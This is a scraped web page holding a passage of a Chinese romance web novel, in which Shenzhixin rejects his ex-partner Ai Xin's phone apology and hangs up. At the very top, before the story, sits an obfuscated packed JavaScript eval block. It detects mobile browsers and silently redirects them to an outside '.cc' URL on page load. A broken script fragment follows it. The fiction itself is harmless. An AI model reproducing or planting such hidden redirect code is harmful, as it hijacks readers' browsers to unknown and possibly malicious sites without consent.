;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363064|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的画面,心中一阵恶寒,准备把电话挂了。 似乎洞察到了他的意图,艾新连忙急促地说:“小盛,小盛!你别挂电话,听我说,我有要紧事找你!” 盛知新的指尖悬在红色的挂断按键上,到底还是没按下去。 度过了最开始的不适和恶心,他已经开始好奇艾新给他打这通电话的目的是什么了。 “小盛,我知道你在为那天发生的事生气。” 艾新的语调一反先前的跋扈骄横,让人听出了几分做小伏低的意思:“是哥的错,哥不应该做那种事,都怪那几个嘴碎的同期生那么说你,哥一时没忍住才......” 盛知新听他这么说,觉得好稀奇。 在他的印象里,艾新是个从不知什么叫“低头”的人,哪怕是平日家中父母给他打来电话,他说话也是趾高气昂的,好像全世界没有能让他艾新认错的事。 和盛知新在一起半年,他也从未对盛知新说过一句“对不起”。 这是怎么了?转性了?开始上演小说里的追妻火葬场吗? “我对你没有意见的,你细心,对我又好,每天给我做饭洗衣服,我反思了一下,我再也找不到比你更好的爱人了,”艾新叹了口气,“你甚至记得我的口味,记得我对什么过敏喜欢吃什么......小盛,哥对不起你,你能原谅哥吗?” 盛知新笑了。 艾新听见他的笑声,有些惊喜:“小盛,你是原谅我了吗?我就知道——” 盛知新忽然打断了他的话,语气冰冷:“你总说我为你做了什么,对啊,我为你买菜做饭,我为你洗衣服,我为你记住了你的口味和过敏的食材,那你呢?” “你来说说看,你记住了什么关于我的事?” 刚刚还口若悬河滔滔不绝的艾新像被人按了暂停键,哑口无言,一个字也说不出了。 本来盛知新没想和他说这么多,但既然电话都接了,那正好趁着这个机会骂他一顿,不然往后可能就没机会了。 “你不在乎我,你只在乎回家有没有人给你做饭给你当保姆,你打这通电话来的目的也根本不是因为喜欢我想和我和好,你只是觉得家里缺了个保姆,所以这才打电话来让我回去,对不对?” 艾新还想说什么,化妆间的门却被人推开了。 “小盛,走了,”温故的声音从门口传来,“早拍完早回去休息。” 盛知新应了一声:“好,温老师,我马上就来。” 电话那边倏地安静了下来,紧接着艾新的语气骤变,不知道是震惊更多还是紧张更多:“盛知新,你在喊谁?你现在和谁在一起?” “温老师啊,你聋吗?” 盛知新的语气淡淡的:“我还有事要忙,电话挂了,别打给我了,我不会再接的。” “你们两个为什么会在一个地方?你怎么就和他——” 艾新的质问还没说完,就听见了电话对面传来了“滴滴滴”的忙音。 盛知新说到做到,真的把他的电话给挂断了!